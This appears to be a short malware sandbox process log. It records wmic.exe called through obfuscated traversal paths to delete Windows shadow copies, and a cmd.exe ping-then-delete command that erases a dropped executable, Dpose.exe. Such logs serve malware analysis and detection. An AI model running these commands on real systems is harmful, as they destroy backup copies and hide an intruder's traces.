wmic.exe c:\QCpUhj\QCpU\..\..\Windows\QCpU\QCpU\..\..\system32\QCpU\QCpU\..\..\wbem\QCpU\QCpUh\..\..\wmic.exe shadowcopy delete
1216wmic.exe c:\ZqQSua\ZqQS\..\..\Windows\ZqQS\ZqQS\..\..\system32\ZqQS\ZqQS\..\..\wbem\ZqQS\ZqQSu\..\..\wmic.exe shadowcopy delete
1376cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\Dpose.exe"
2424PING.EXE ping 1.1.1.1 -n 1 -w 3000
2076